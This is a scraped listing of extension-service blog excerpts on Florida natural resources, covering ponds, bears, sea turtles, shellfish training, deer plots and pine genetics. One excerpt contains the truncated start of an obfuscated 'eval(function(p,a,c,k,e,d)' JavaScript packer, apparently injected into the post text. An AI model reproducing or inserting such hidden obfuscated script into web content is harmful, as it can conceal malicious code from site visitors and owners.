Spend the early evening learning and understanding pond biology and proper management techniques from experts in the field. This program is for all pond owners, managers and others interested in pond management. Topics and Demonstrations include: • ... READ MORE
Category: Natural Resources, WaterGAINESVILLE, Fla. --- The University of Florida’s Institute of Food and Agricultural Sciences is hosting its second annual Bug Week May 19-23 with activities for students, families and bug lovers around the nation. “The UF Department ... READ MORE
Category: Invasive Species, Pests & Disease, UF/IFASFlorida Black Bear visiting an easy food source. Photo by Jennifer Bearden Florida Black Bear are the largest land mammals in the state of Florida. At birth they are smaller than a soda can but they quickly grow up to 250-400 pounds for males ... READ MORE
Category: Conservation, Natural Resources, WildlifeThe University of Florida IFAS Extension & Florida Sea Grant program of Okaloosa/Walton Counties invites you to join us on April 28th at 5:00 PM for our Salty Topics Emerald Coast Series “Sea Turtles of the Emerald Coast.” Brooke Saari, ... READ MORE
Category: Coasts & Marine, Natural Resources, Water, WildlifeThe State of Florida has initiated training of harvesters as prescribed by the Interstate Shellfish Sanitation Conference (ISSC) requirements for the new license year which starts July 1, 2014. The training is offered through the Florida Department ... READ MORE
Category: Conservation, Natural Resources, WildlifeTallahassee Democrat Friday, April 4, 2014 Photo by David Copps: Do you ever find yourself complaining about the degradation of Tallahassee’s beautiful forest canopy as more and more trees are lost ... READ MORE
Category: Conservation, Natural ResourcesFor more information contact Mark Mauldin. 850-638-6180 eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return ... READ MORE
Category: Forests, Natural ResourcesDeer grazing test plots at the NFREC in Quincy. Food plots can benefit deer year round, not just during hunting season. To the chagrin of hunters across the panhandle deer season has drawn to a close. As the days lengthen and temperatures ... READ MORE
Category: Natural Resources, WildlifeSpring is a dynamic time for wildlife. If you enjoy watching nature, now is a fantastic time to get outdoors to see some interesting activity. March is also one of the best times of year to do some active management on your property to enhance ... READ MORE
Category: Natural Resources, WildlifeGAINESVILLE, Fla. --- To look at the humble loblolly pine – grown in neat rows on large farms throughout the southeastern U.S. and milled for things like building lumber and paper – you would never think that its genetic code is seven ... READ MORE
Category: Agriculture, Forests, UF/IFAS, UF/IFAS Research